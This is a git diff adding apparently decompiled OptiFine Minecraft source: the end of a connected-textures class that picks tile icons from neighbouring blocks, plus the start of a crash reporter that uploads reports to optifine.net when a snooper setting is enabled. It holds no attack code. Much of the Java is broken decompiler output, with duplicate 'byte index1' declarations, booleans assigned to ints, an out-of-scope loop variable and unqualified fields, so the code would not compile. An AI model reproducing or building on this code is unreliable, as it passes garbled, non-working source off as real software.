+      index = 12;
+    }
+    else if (((borders[0] != 0 ? 0 : 1) & (borders[1] != 0 ? 0 : 1) & (borders[2] != 0 ? 0 : 1) & borders[3]) != 0)
+    {
+      index = 36;
+    }
+    else if ((borders[0] & borders[1] & (borders[2] != 0 ? 0 : 1) & (borders[3] != 0 ? 0 : 1)) != 0)
+    {
+      index = 2;
+    }
+    else if (((borders[0] != 0 ? 0 : 1) & (borders[1] != 0 ? 0 : 1) & borders[2] & borders[3]) != 0)
+    {
+      index = 24;
+    }
+    else if ((borders[0] & (borders[1] != 0 ? 0 : 1) & borders[2] & (borders[3] != 0 ? 0 : 1)) != 0)
+    {
+      index = 15;
+    }
+    else if ((borders[0] & (borders[1] != 0 ? 0 : 1) & (borders[2] != 0 ? 0 : 1) & borders[3]) != 0)
+    {
+      index = 39;
+    }
+    else if (((borders[0] != 0 ? 0 : 1) & borders[1] & borders[2] & (borders[3] != 0 ? 0 : 1)) != 0)
+    {
+      index = 13;
+    }
+    else if (((borders[0] != 0 ? 0 : 1) & borders[1] & (borders[2] != 0 ? 0 : 1) & borders[3]) != 0)
+    {
+      index = 37;
+    }
+    else if (((borders[0] != 0 ? 0 : 1) & borders[1] & borders[2] & borders[3]) != 0)
+    {
+      index = 25;
+    }
+    else if ((borders[0] & (borders[1] != 0 ? 0 : 1) & borders[2] & borders[3]) != 0)
+    {
+      index = 27;
+    }
+    else if ((borders[0] & borders[1] & (borders[2] != 0 ? 0 : 1) & borders[3]) != 0)
+    {
+      index = 38;
+    }
+    else if ((borders[0] & borders[1] & borders[2] & (borders[3] != 0 ? 0 : 1)) != 0)
+    {
+      index = 14;
+    }
+    else if ((borders[0] & borders[1] & borders[2] & borders[3]) != 0)
+    {
+      index = 26;
+    }
+    
+    if (index == 0)
+    {
+      return tileIcons[index];
+    }
+    if (!Config.isConnectedTexturesFancy())
+    {
+      return tileIcons[index];
+    }
+    
+
+    switch (side)
+    {
+    case 0: 
+      borders[0] = (isNeighbour(cp, blockAccess, blockState, blockPos.offsetEast().offsetNorth(), side, icon, metadata) ? 0 : true);
+      borders[1] = (isNeighbour(cp, blockAccess, blockState, blockPos.offsetWest().offsetNorth(), side, icon, metadata) ? 0 : true);
+      borders[2] = (isNeighbour(cp, blockAccess, blockState, blockPos.offsetEast().offsetSouth(), side, icon, metadata) ? 0 : true);
+      borders[3] = (isNeighbour(cp, blockAccess, blockState, blockPos.offsetWest().offsetSouth(), side, icon, metadata) ? 0 : true);
+      break;
+    
+    case 1: 
+      borders[0] = (isNeighbour(cp, blockAccess, blockState, blockPos.offsetEast().offsetSouth(), side, icon, metadata) ? 0 : true);
+      borders[1] = (isNeighbour(cp, blockAccess, blockState, blockPos.offsetWest().offsetSouth(), side, icon, metadata) ? 0 : true);
+      borders[2] = (isNeighbour(cp, blockAccess, blockState, blockPos.offsetEast().offsetNorth(), side, icon, metadata) ? 0 : true);
+      borders[3] = (isNeighbour(cp, blockAccess, blockState, blockPos.offsetWest().offsetNorth(), side, icon, metadata) ? 0 : true);
+      break;
+    
+    case 2: 
+      borders[0] = (isNeighbour(cp, blockAccess, blockState, blockPos.offsetWest().offsetDown(), side, icon, metadata) ? 0 : true);
+      borders[1] = (isNeighbour(cp, blockAccess, blockState, blockPos.offsetEast().offsetDown(), side, icon, metadata) ? 0 : true);
+      borders[2] = (isNeighbour(cp, blockAccess, blockState, blockPos.offsetWest().offsetUp(), side, icon, metadata) ? 0 : true);
+      borders[3] = (isNeighbour(cp, blockAccess, blockState, blockPos.offsetEast().offsetUp(), side, icon, metadata) ? 0 : true);
+      break;
+    
+    case 3: 
+      borders[0] = (isNeighbour(cp, blockAccess, blockState, blockPos.offsetEast().offsetDown(), side, icon, metadata) ? 0 : true);
+      borders[1] = (isNeighbour(cp, blockAccess, blockState, blockPos.offsetWest().offsetDown(), side, icon, metadata) ? 0 : true);
+      borders[2] = (isNeighbour(cp, blockAccess, blockState, blockPos.offsetEast().offsetUp(), side, icon, metadata) ? 0 : true);
+      borders[3] = (isNeighbour(cp, blockAccess, blockState, blockPos.offsetWest().offsetUp(), side, icon, metadata) ? 0 : true);
+      break;
+    
+    case 4: 
+      borders[0] = (isNeighbour(cp, blockAccess, blockState, blockPos.offsetDown().offsetSouth(), side, icon, metadata) ? 0 : true);
+      borders[1] = (isNeighbour(cp, blockAccess, blockState, blockPos.offsetDown().offsetNorth(), side, icon, metadata) ? 0 : true);
+      borders[2] = (isNeighbour(cp, blockAccess, blockState, blockPos.offsetUp().offsetSouth(), side, icon, metadata) ? 0 : true);
+      borders[3] = (isNeighbour(cp, blockAccess, blockState, blockPos.offsetUp().offsetNorth(), side, icon, metadata) ? 0 : true);
+      break;
+    
+    case 5: 
+      borders[0] = (isNeighbour(cp, blockAccess, blockState, blockPos.offsetDown().offsetNorth(), side, icon, metadata) ? 0 : true);
+      borders[1] = (isNeighbour(cp, blockAccess, blockState, blockPos.offsetDown().offsetSouth(), side, icon, metadata) ? 0 : true);
+      borders[2] = (isNeighbour(cp, blockAccess, blockState, blockPos.offsetUp().offsetNorth(), side, icon, metadata) ? 0 : true);
+      borders[3] = (isNeighbour(cp, blockAccess, blockState, blockPos.offsetUp().offsetSouth(), side, icon, metadata) ? 0 : true);
+    }
+    
+    if ((index == 13) && (borders[0] != 0))
+    {
+      index = 4;
+    }
+    else if ((index == 15) && (borders[1] != 0))
+    {
+      index = 5;
+    }
+    else if ((index == 37) && (borders[2] != 0))
+    {
+      index = 16;
+    }
+    else if ((index == 39) && (borders[3] != 0))
+    {
+      index = 17;
+    }
+    else if ((index == 14) && (borders[0] != 0) && (borders[1] != 0))
+    {
+      index = 7;
+    }
+    else if ((index == 25) && (borders[0] != 0) && (borders[2] != 0))
+    {
+      index = 6;
+    }
+    else if ((index == 27) && (borders[3] != 0) && (borders[1] != 0))
+    {
+      index = 19;
+    }
+    else if ((index == 38) && (borders[3] != 0) && (borders[2] != 0))
+    {
+      index = 18;
+    }
+    else if ((index == 14) && (borders[0] == 0) && (borders[1] != 0))
+    {
+      index = 31;
+    }
+    else if ((index == 25) && (borders[0] != 0) && (borders[2] == 0))
+    {
+      index = 30;
+    }
+    else if ((index == 27) && (borders[3] == 0) && (borders[1] != 0))
+    {
+      index = 41;
+    }
+    else if ((index == 38) && (borders[3] != 0) && (borders[2] == 0))
+    {
+      index = 40;
+    }
+    else if ((index == 14) && (borders[0] != 0) && (borders[1] == 0))
+    {
+      index = 29;
+    }
+    else if ((index == 25) && (borders[0] == 0) && (borders[2] != 0))
+    {
+      index = 28;
+    }
+    else if ((index == 27) && (borders[3] != 0) && (borders[1] == 0))
+    {
+      index = 43;
+    }
+    else if ((index == 38) && (borders[3] == 0) && (borders[2] != 0))
+    {
+      index = 42;
+    }
+    else if ((index == 26) && (borders[0] != 0) && (borders[1] != 0) && (borders[2] != 0) && (borders[3] != 0))
+    {
+      index = 46;
+    }
+    else if ((index == 26) && (borders[0] == 0) && (borders[1] != 0) && (borders[2] != 0) && (borders[3] != 0))
+    {
+      index = 9;
+    }
+    else if ((index == 26) && (borders[0] != 0) && (borders[1] == 0) && (borders[2] != 0) && (borders[3] != 0))
+    {
+      index = 21;
+    }
+    else if ((index == 26) && (borders[0] != 0) && (borders[1] != 0) && (borders[2] == 0) && (borders[3] != 0))
+    {
+      index = 8;
+    }
+    else if ((index == 26) && (borders[0] != 0) && (borders[1] != 0) && (borders[2] != 0) && (borders[3] == 0))
+    {
+      index = 20;
+    }
+    else if ((index == 26) && (borders[0] != 0) && (borders[1] != 0) && (borders[2] == 0) && (borders[3] == 0))
+    {
+      index = 11;
+    }
+    else if ((index == 26) && (borders[0] == 0) && (borders[1] == 0) && (borders[2] != 0) && (borders[3] != 0))
+    {
+      index = 22;
+    }
+    else if ((index == 26) && (borders[0] == 0) && (borders[1] != 0) && (borders[2] == 0) && (borders[3] != 0))
+    {
+      index = 23;
+    }
+    else if ((index == 26) && (borders[0] != 0) && (borders[1] == 0) && (borders[2] != 0) && (borders[3] == 0))
+    {
+      index = 10;
+    }
+    else if ((index == 26) && (borders[0] != 0) && (borders[1] == 0) && (borders[2] == 0) && (borders[3] != 0))
+    {
+      index = 34;
+    }
+    else if ((index == 26) && (borders[0] == 0) && (borders[1] != 0) && (borders[2] != 0) && (borders[3] == 0))
+    {
+      index = 35;
+    }
+    else if ((index == 26) && (borders[0] != 0) && (borders[1] == 0) && (borders[2] == 0) && (borders[3] == 0))
+    {
+      index = 32;
+    }
+    else if ((index == 26) && (borders[0] == 0) && (borders[1] != 0) && (borders[2] == 0) && (borders[3] == 0))
+    {
+      index = 33;
+    }
+    else if ((index == 26) && (borders[0] == 0) && (borders[1] == 0) && (borders[2] != 0) && (borders[3] == 0))
+    {
+      index = 44;
+    }
+    else if ((index == 26) && (borders[0] == 0) && (borders[1] == 0) && (borders[2] == 0) && (borders[3] != 0))
+    {
+      index = 45;
+    }
+    
+    return tileIcons[index];
+  }
+  
+
+  private static boolean isNeighbour(ConnectedProperties cp, IBlockAccess iblockaccess, IBlockState blockState, BlockPos blockPos, int side, TextureAtlasSprite icon, int metadata)
+  {
+    IBlockState neighbourState = iblockaccess.getBlockState(blockPos);
+    
+    if (blockState == neighbourState)
+    {
+      return true;
+    }
+    if (connect == 2)
+    {
+      if (neighbourState == null)
+      {
+        return false;
+      }
+      if (neighbourState == AIR_DEFAULT_STATE)
+      {
+        return false;
+      }
+      
+
+      TextureAtlasSprite neighbourIcon = getNeighbourIcon(iblockaccess, blockPos, neighbourState, side);
+      return neighbourIcon == icon;
+    }
+    
+
+
+    return neighbourState != null;
+  }
+  
+
+  private static TextureAtlasSprite getNeighbourIcon(IBlockAccess iblockaccess, BlockPos blockPos, IBlockState neighbourState, int side)
+  {
+    neighbourState = neighbourState.getBlock().getActualState(neighbourState, iblockaccess, blockPos);
+    IBakedModel model = Minecraft.getMinecraft().getBlockRendererDispatcher().func_175023_a().func_178125_b(neighbourState);
+    
+    if (model == null)
+    {
+      return null;
+    }
+    
+
+    EnumFacing facing = getFacing(side);
+    List quads = model.func_177551_a(facing);
+    
+    if (quads.size() > 0)
+    {
+      BakedQuad var10 = (BakedQuad)quads.get(0);
+      return var10.getSprite();
+    }
+    
+
+    List quadsGeneral = model.func_177550_a();
+    
+    for (int i = 0; i < quadsGeneral.size(); i++)
+    {
+      BakedQuad quad = (BakedQuad)quadsGeneral.get(i);
+      
+      if (quad.getFace() == facing)
+      {
+        return quad.getSprite();
+      }
+    }
+    
+    return null;
+  }
+  
+
+
+
+
+  private static TextureAtlasSprite getConnectedTextureHorizontal(ConnectedProperties cp, IBlockAccess blockAccess, IBlockState blockState, BlockPos blockPos, int vertAxis, int side, TextureAtlasSprite icon, int metadata)
+  {
+    boolean left = false;
+    boolean right = false;
+    
+
+    switch (vertAxis)
+    {
+    case 0: 
+      switch (side)
+      {
+      case 0: 
+      case 1: 
+        return null;
+      
+      case 2: 
+        left = isNeighbour(cp, blockAccess, blockState, blockPos.offsetEast(), side, icon, metadata);
+        right = isNeighbour(cp, blockAccess, blockState, blockPos.offsetWest(), side, icon, metadata);
+        break;
+      
+      case 3: 
+        left = isNeighbour(cp, blockAccess, blockState, blockPos.offsetWest(), side, icon, metadata);
+        right = isNeighbour(cp, blockAccess, blockState, blockPos.offsetEast(), side, icon, metadata);
+        break;
+      
+      case 4: 
+        left = isNeighbour(cp, blockAccess, blockState, blockPos.offsetNorth(), side, icon, metadata);
+        right = isNeighbour(cp, blockAccess, blockState, blockPos.offsetSouth(), side, icon, metadata);
+        break;
+      
+      case 5: 
+        left = isNeighbour(cp, blockAccess, blockState, blockPos.offsetSouth(), side, icon, metadata);
+        right = isNeighbour(cp, blockAccess, blockState, blockPos.offsetNorth(), side, icon, metadata);
+      }
+      
+      break;
+    
+
+    case 1: 
+      switch (side)
+      {
+      case 0: 
+        left = isNeighbour(cp, blockAccess, blockState, blockPos.offsetWest(), side, icon, metadata);
+        right = isNeighbour(cp, blockAccess, blockState, blockPos.offsetEast(), side, icon, metadata);
+        break;
+      
+      case 1: 
+        left = isNeighbour(cp, blockAccess, blockState, blockPos.offsetWest(), side, icon, metadata);
+        right = isNeighbour(cp, blockAccess, blockState, blockPos.offsetEast(), side, icon, metadata);
+        break;
+      
+      case 2: 
+      case 3: 
+        return null;
+      
+      case 4: 
+        left = isNeighbour(cp, blockAccess, blockState, blockPos.offsetDown(), side, icon, metadata);
+        right = isNeighbour(cp, blockAccess, blockState, blockPos.offsetUp(), side, icon, metadata);
+        break;
+      
+      case 5: 
+        left = isNeighbour(cp, blockAccess, blockState, blockPos.offsetUp(), side, icon, metadata);
+        right = isNeighbour(cp, blockAccess, blockState, blockPos.offsetDown(), side, icon, metadata);
+      }
+      
+      break;
+    
+
+    case 2: 
+      switch (side)
+      {
+      case 0: 
+        left = isNeighbour(cp, blockAccess, blockState, blockPos.offsetNorth(), side, icon, metadata);
+        right = isNeighbour(cp, blockAccess, blockState, blockPos.offsetSouth(), side, icon, metadata);
+        break;
+      
+      case 1: 
+        left = isNeighbour(cp, blockAccess, blockState, blockPos.offsetNorth(), side, icon, metadata);
+        right = isNeighbour(cp, blockAccess, blockState, blockPos.offsetSouth(), side, icon, metadata);
+        break;
+      
+      case 2: 
+        left = isNeighbour(cp, blockAccess, blockState, blockPos.offsetDown(), side, icon, metadata);
+        right = isNeighbour(cp, blockAccess, blockState, blockPos.offsetUp(), side, icon, metadata);
+        break;
+      
+      case 3: 
+        left = isNeighbour(cp, blockAccess, blockState, blockPos.offsetUp(), side, icon, metadata);
+        right = isNeighbour(cp, blockAccess, blockState, blockPos.offsetDown(), side, icon, metadata);
+        break;
+      
+      case 4: 
+      case 5: 
+        return null;
+      }
+      break;
+    }
+    boolean index = true;
+    byte index1;
+    byte index1;
+    if (left) {
+      byte index1;
+      if (right)
+      {
+        index1 = 1;
+      }
+      else
+      {
+        index1 = 2; }
+    } else {
+      byte index1;
+      if (right)
+      {
+        index1 = 0;
+      }
+      else
+      {
+        index1 = 3;
+      }
+    }
+    return tileIcons[index1];
+  }
+  
+  private static TextureAtlasSprite getConnectedTextureVertical(ConnectedProperties cp, IBlockAccess blockAccess, IBlockState blockState, BlockPos blockPos, int vertAxis, int side, TextureAtlasSprite icon, int metadata)
+  {
+    boolean bottom = false;
+    boolean top = false;
+    
+    switch (vertAxis)
+    {
+    case 0: 
+      if ((side == 1) || (side == 0))
+      {
+        return null;
+      }
+      
+      bottom = isNeighbour(cp, blockAccess, blockState, blockPos.offsetDown(), side, icon, metadata);
+      top = isNeighbour(cp, blockAccess, blockState, blockPos.offsetUp(), side, icon, metadata);
+      break;
+    
+    case 1: 
+      if ((side == 3) || (side == 2))
+      {
+        return null;
+      }
+      
+      bottom = isNeighbour(cp, blockAccess, blockState, blockPos.offsetSouth(), side, icon, metadata);
+      top = isNeighbour(cp, blockAccess, blockState, blockPos.offsetNorth(), side, icon, metadata);
+      break;
+    
+    case 2: 
+      if ((side == 5) || (side == 4))
+      {
+        return null;
+      }
+      
+      bottom = isNeighbour(cp, blockAccess, blockState, blockPos.offsetWest(), side, icon, metadata);
+      top = isNeighbour(cp, blockAccess, blockState, blockPos.offsetEast(), side, icon, metadata);
+    }
+    
+    boolean index = true;
+    byte index1;
+    byte index1;
+    if (bottom) {
+      byte index1;
+      if (top)
+      {
+        index1 = 1;
+      }
+      else
+      {
+        index1 = 2; }
+    } else {
+      byte index1;
+      if (top)
+      {
+        index1 = 0;
+      }
+      else
+      {
+        index1 = 3;
+      }
+    }
+    return tileIcons[index1];
+  }
+  
+  private static TextureAtlasSprite getConnectedTextureHorizontalVertical(ConnectedProperties cp, IBlockAccess blockAccess, IBlockState blockState, BlockPos blockPos, int vertAxis, int side, TextureAtlasSprite icon, int metadata)
+  {
+    TextureAtlasSprite[] tileIcons = cp.tileIcons;
+    TextureAtlasSprite iconH = getConnectedTextureHorizontal(cp, blockAccess, blockState, blockPos, vertAxis, side, icon, metadata);
+    
+    if ((iconH != null) && (iconH != icon) && (iconH != tileIcons[3]))
+    {
+      return iconH;
+    }
+    
+
+    TextureAtlasSprite iconV = getConnectedTextureVertical(cp, blockAccess, blockState, blockPos, vertAxis, side, icon, metadata);
+    return iconV == tileIcons[2] ? tileIcons[6] : iconV == tileIcons[1] ? tileIcons[5] : iconV == tileIcons[0] ? tileIcons[4] : iconV;
+  }
+  
+
+  private static TextureAtlasSprite getConnectedTextureVerticalHorizontal(ConnectedProperties cp, IBlockAccess blockAccess, IBlockState blockState, BlockPos blockPos, int vertAxis, int side, TextureAtlasSprite icon, int metadata)
+  {
+    TextureAtlasSprite[] tileIcons = cp.tileIcons;
+    TextureAtlasSprite iconV = getConnectedTextureVertical(cp, blockAccess, blockState, blockPos, vertAxis, side, icon, metadata);
+    
+    if ((iconV != null) && (iconV != icon) && (iconV != tileIcons[3]))
+    {
+      return iconV;
+    }
+    
+
+    TextureAtlasSprite iconH = getConnectedTextureHorizontal(cp, blockAccess, blockState, blockPos, vertAxis, side, icon, metadata);
+    return iconH == tileIcons[2] ? tileIcons[6] : iconH == tileIcons[1] ? tileIcons[5] : iconH == tileIcons[0] ? tileIcons[4] : iconH;
+  }
+  
+
+  private static TextureAtlasSprite getConnectedTextureTop(ConnectedProperties cp, IBlockAccess blockAccess, IBlockState blockState, BlockPos blockPos, int vertAxis, int side, TextureAtlasSprite icon, int metadata)
+  {
+    boolean top = false;
+    
+    switch (vertAxis)
+    {
+    case 0: 
+      if ((side == 1) || (side == 0))
+      {
+        return null;
+      }
+      
+      top = isNeighbour(cp, blockAccess, blockState, blockPos.offsetUp(), side, icon, metadata);
+      break;
+    
+    case 1: 
+      if ((side == 3) || (side == 2))
+      {
+        return null;
+      }
+      
+      top = isNeighbour(cp, blockAccess, blockState, blockPos.offsetSouth(), side, icon, metadata);
+      break;
+    
+    case 2: 
+      if ((side == 5) || (side == 4))
+      {
+        return null;
+      }
+      
+      top = isNeighbour(cp, blockAccess, blockState, blockPos.offsetEast(), side, icon, metadata);
+    }
+    
+    return top ? tileIcons[0] : null;
+  }
+  
+  public static void updateIcons(TextureMap textureMap)
+  {
+    blockProperties = null;
+    tileProperties = null;
+    spriteQuadMaps = null;
+    
+    if (Config.isConnectedTextures())
+    {
+      IResourcePack[] rps = Config.getResourcePacks();
+      
+      for (int locEmpty = rps.length - 1; locEmpty >= 0; locEmpty--)
+      {
+        IResourcePack rp = rps[locEmpty];
+        updateIcons(textureMap, rp);
+      }
+      
+      updateIcons(textureMap, Config.getDefaultResourcePack());
+      ResourceLocation var4 = new ResourceLocation("mcpatcher/ctm/default/empty");
+      emptySprite = textureMap.func_174942_a(var4);
+      spriteQuadMaps = new Map[textureMap.getCountRegisteredSprites() + 1];
+      
+      if (blockProperties.length <= 0)
+      {
+        blockProperties = null;
+      }
+      
+      if (tileProperties.length <= 0)
+      {
+        tileProperties = null;
+      }
+    }
+  }
+  
+  private static void updateIconEmpty(TextureMap textureMap) {}
+  
+  public static void updateIcons(TextureMap textureMap, IResourcePack rp)
+  {
+    String[] names = ResUtils.collectFiles(rp, "mcpatcher/ctm/", ".properties", getDefaultCtmPaths());
+    Arrays.sort(names);
+    List tileList = makePropertyList(tileProperties);
+    List blockList = makePropertyList(blockProperties);
+    
+    for (int i = 0; i < names.length; i++)
+    {
+      String name = names[i];
+      Config.dbg("ConnectedTextures: " + name);
+      
+      try
+      {
+        ResourceLocation e = new ResourceLocation(name);
+        InputStream in = rp.getInputStream(e);
+        
+        if (in == null)
+        {
+          Config.warn("ConnectedTextures file not found: " + name);
+        }
+        else
+        {
+          Properties props = new Properties();
+          props.load(in);
+          ConnectedProperties cp = new ConnectedProperties(props, name);
+          
+          if (cp.isValid(name))
+          {
+            cp.updateIcons(textureMap);
+            addToTileList(cp, tileList);
+            addToBlockList(cp, blockList);
+          }
+        }
+      }
+      catch (FileNotFoundException var11)
+      {
+        Config.warn("ConnectedTextures file not found: " + name);
+      }
+      catch (Exception var12)
+      {
+        var12.printStackTrace();
+      }
+    }
+    
+    blockProperties = propertyListToArray(blockList);
+    tileProperties = propertyListToArray(tileList);
+    multipass = detectMultipass();
+    Config.dbg("Multipass connected textures: " + multipass);
+  }
+  
+  private static List makePropertyList(ConnectedProperties[][] propsArr)
+  {
+    ArrayList list = new ArrayList();
+    
+    if (propsArr != null)
+    {
+      for (int i = 0; i < propsArr.length; i++)
+      {
+        ConnectedProperties[] props = propsArr[i];
+        ArrayList propList = null;
+        
+        if (props != null)
+        {
+          propList = new ArrayList(Arrays.asList(props));
+        }
+        
+        list.add(propList);
+      }
+    }
+    
+    return list;
+  }
+  
+  private static boolean detectMultipass()
+  {
+    ArrayList propList = new ArrayList();
+    
+
+
+    for (int props = 0; props < tileProperties.length; props++)
+    {
+      ConnectedProperties[] matchIconSet = tileProperties[props];
+      
+      if (matchIconSet != null)
+      {
+        propList.addAll(Arrays.asList(matchIconSet));
+      }
+    }
+    
+    for (props = 0; props < blockProperties.length; props++)
+    {
+      ConnectedProperties[] matchIconSet = blockProperties[props];
+      
+      if (matchIconSet != null)
+      {
+        propList.addAll(Arrays.asList(matchIconSet));
+      }
+    }
+    
+    ConnectedProperties[] var6 = (ConnectedProperties[])propList.toArray(new ConnectedProperties[propList.size()]);
+    HashSet var7 = new HashSet();
+    HashSet tileIconSet = new HashSet();
+    
+    for (int i = 0; i < var6.length; i++)
+    {
+      ConnectedProperties cp = var6[i];
+      
+      if (matchTileIcons != null)
+      {
+        var7.addAll(Arrays.asList(matchTileIcons));
+      }
+      
+      if (tileIcons != null)
+      {
+        tileIconSet.addAll(Arrays.asList(tileIcons));
+      }
+    }
+    
+    var7.retainAll(tileIconSet);
+    return !var7.isEmpty();
+  }
+  
+  private static ConnectedProperties[][] propertyListToArray(List list)
+  {
+    ConnectedProperties[][] propArr = new ConnectedProperties[list.size()][];
+    
+    for (int i = 0; i < list.size(); i++)
+    {
+      List subList = (List)list.get(i);
+      
+      if (subList != null)
+      {
+        ConnectedProperties[] subArr = (ConnectedProperties[])subList.toArray(new ConnectedProperties[subList.size()]);
+        propArr[i] = subArr;
+      }
+    }
+    
+    return propArr;
+  }
+  
+  private static void addToTileList(ConnectedProperties cp, List tileList)
+  {
+    if (matchTileIcons != null)
+    {
+      for (int i = 0; i < matchTileIcons.length; i++)
+      {
+        TextureAtlasSprite icon = matchTileIcons[i];
+        
+        if (!(icon instanceof TextureAtlasSprite))
+        {
+          Config.warn("TextureAtlasSprite is not TextureAtlasSprite: " + icon + ", name: " + icon.getIconName());
+        }
+        else
+        {
+          int tileId = icon.getIndexInMap();
+          
+          if (tileId < 0)
+          {
+            Config.warn("Invalid tile ID: " + tileId + ", icon: " + icon.getIconName());
+          }
+          else
+          {
+            addToList(cp, tileList, tileId);
+          }
+        }
+      }
+    }
+  }
+  
+  private static void addToBlockList(ConnectedProperties cp, List blockList)
+  {
+    if (matchBlocks != null)
+    {
+      for (int i = 0; i < matchBlocks.length; i++)
+      {
+        int blockId = matchBlocks[i].getBlockId();
+        
+        if (blockId < 0)
+        {
+          Config.warn("Invalid block ID: " + blockId);
+        }
+        else
+        {
+          addToList(cp, blockList, blockId);
+        }
+      }
+    }
+  }
+  
+  private static void addToList(ConnectedProperties cp, List list, int id)
+  {
+    while (id >= list.size())
+    {
+      list.add(null);
+    }
+    
+    Object subList = (List)list.get(id);
+    
+    if (subList == null)
+    {
+      subList = new ArrayList();
+      list.set(id, subList);
+    }
+    
+    ((List)subList).add(cp);
+  }
+  
+  private static String[] getDefaultCtmPaths()
+  {
+    ArrayList list = new ArrayList();
+    String defPath = "mcpatcher/ctm/default/";
+    
+    if (Config.isFromDefaultResourcePack(new ResourceLocation("textures/blocks/glass.png")))
+    {
+      list.add(defPath + "glass.properties");
+      list.add(defPath + "glasspane.properties");
+    }
+    
+    if (Config.isFromDefaultResourcePack(new ResourceLocation("textures/blocks/bookshelf.png")))
+    {
+      list.add(defPath + "bookshelf.properties");
+    }
+    
+    if (Config.isFromDefaultResourcePack(new ResourceLocation("textures/blocks/sandstone_normal.png")))
+    {
+      list.add(defPath + "sandstone.properties");
+    }
+    
+    String[] colors = { "white", "orange", "magenta", "light_blue", "yellow", "lime", "pink", "gray", "silver", "cyan", "purple", "blue", "brown", "green", "red", "black" };
+    
+    for (int paths = 0; paths < colors.length; paths++)
+    {
+      String color = colors[paths];
+      
+      if (Config.isFromDefaultResourcePack(new ResourceLocation("textures/blocks/glass_" + color + ".png")))
+      {
+        list.add(defPath + paths + "_glass_" + color + "/glass_" + color + ".properties");
+        list.add(defPath + paths + "_glass_" + color + "/glass_pane_" + color + ".properties");
+      }
+    }
+    
+    String[] var5 = (String[])list.toArray(new String[list.size()]);
+    return var5;
+  }
+  
+  public static int getPaneTextureIndex(boolean linkP, boolean linkN, boolean linkYp, boolean linkYn)
+  {
+    return linkYn ? 16 : linkYp ? 48 : linkYn ? 32 : (!linkN) && (linkP) ? 1 : linkYn ? 17 : linkYp ? 49 : linkYn ? 33 : (linkN) && (!linkP) ? 3 : linkYn ? 19 : linkYp ? 51 : linkYn ? 35 : (linkN) && (linkP) ? 2 : linkYn ? 18 : linkYp ? 50 : linkYn ? 34 : 0;
+  }
+  
+  public static int getReversePaneTextureIndex(int texNum)
+  {
+    int col = texNum % 16;
+    return col == 3 ? texNum - 2 : col == 1 ? texNum + 2 : texNum;
+  }
+  
+  public static TextureAtlasSprite getCtmTexture(ConnectedProperties cp, int ctmIndex, TextureAtlasSprite icon)
+  {
+    if (method != 1)
+    {
+      return icon;
+    }
+    if ((ctmIndex >= 0) && (ctmIndex < ctmIndexes.length))
+    {
+      int index = ctmIndexes[ctmIndex];
+      TextureAtlasSprite[] ctmIcons = tileIcons;
+      return (index >= 0) && (index < ctmIcons.length) ? ctmIcons[index] : icon;
+    }
+    
+
+    return icon;
+  }
+  
+
+  static class NamelessClass379831726
+  {
+    static final int[] $SwitchMap$net$minecraft$util$EnumFacing = new int[EnumFacing.values().length];
+    
+    static
+    {
+      try
+      {
+        $SwitchMap$net$minecraft$util$EnumFacing[EnumFacing.DOWN.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$net$minecraft$util$EnumFacing[EnumFacing.UP.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$net$minecraft$util$EnumFacing[EnumFacing.EAST.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$net$minecraft$util$EnumFacing[EnumFacing.WEST.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$net$minecraft$util$EnumFacing[EnumFacing.NORTH.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$net$minecraft$util$EnumFacing[EnumFacing.SOUTH.ordinal()] = 6;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError6) {}
+    }
+    
+    NamelessClass379831726() {}
+  }
+}
diff --git a/src/minecraft/optifine/CrashReporter.java b/src/minecraft/optifine/CrashReporter.java
new file mode 100644
index 0000000..de4e07a
--- /dev/null
+++ b/src/minecraft/optifine/CrashReporter.java
@@ -0,0 +1,119 @@
+package optifine;
+
+import java.util.HashMap;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+
+public class CrashReporter
+{
+  public CrashReporter() {}
+  
+  public static void onCrashReport(CrashReport crashReport, CrashReportCategory category)
+  {
+    try
+    {
+      net.minecraft.client.settings.GameSettings e = Config.getGameSettings();
+      
+      if (e == null)
+      {
+        return;
+      }
+      
+      if (!snooperEnabled)
+      {
+        return;
+      }
+      
+      Throwable cause = crashReport.getCrashCause();
+      
+      if (cause == null)
+      {
+        return;
+      }
+      
+      if (cause.getClass() == Throwable.class)
+      {
+        return;
+      }
+      
+      if (cause.getClass().getName().contains(".fml.client.SplashProgress"))
+      {
+        return;
+      }
+      
+      extendCrashReport(category);
+      String url = "http://optifine.net/crashReport";
+      String reportStr = makeReport(crashReport);
+      byte[] content = reportStr.getBytes("ASCII");
+      IFileUploadListener listener = new IFileUploadListener()
+      {
+        public void fileUploadFinished(String url, byte[] content, Throwable exception) {}
+      };
+      HashMap headers = new HashMap();
+      headers.put("OF-Version", Config.getVersion());
+      headers.put("OF-Summary", makeSummary(crashReport));
+      FileUploadThread fut = new FileUploadThread(url, headers, content, listener);
+      fut.setPriority(10);
+      fut.start();
+      Thread.sleep(1000L);
+    }
+    catch (Exception var10)
+    {
+      Config.dbg(var10.getClass().getName() + ": " + var10.getMessage());
+    }
+  }
+  
+  private static String makeReport(CrashReport crashReport)
+  {
+    StringBuffer sb = new StringBuffer();
+    sb.append("OptiFineVersion: " + Config.getVersion() + "\n");
+    sb.append("Summary: " + makeSummary(crashReport) + "\n");
+    sb.append("\n");
+    sb.append(crashReport.getCompleteReport());
+    sb.append("\n");
+    return sb.toString();
+  }
+  
+  private static String makeSummary(CrashReport crashReport)
+  {
+    Throwable t = crashReport.getCrashCause();
+    
+    if (t == null)
+    {
+      return "Unknown";
+    }
+    
+
+    StackTraceElement[] traces = t.getStackTrace();
+    String firstTrace = "unknown";
+    
+    if (traces.length > 0)
+    {
+      firstTrace = traces[0].toString().trim();
+    }
+    
+    String sum = t.getClass().getName() + ": " + t.getMessage() + " (" + crashReport.getDescription() + ")" + " [" + firstTrace + "]";
+    return sum;
+  }
+  
+
+  public static void extendCrashReport(CrashReportCategory cat)
+  {
+    cat.addCrashSection("OptiFine Version", Config.getVersion());
+    
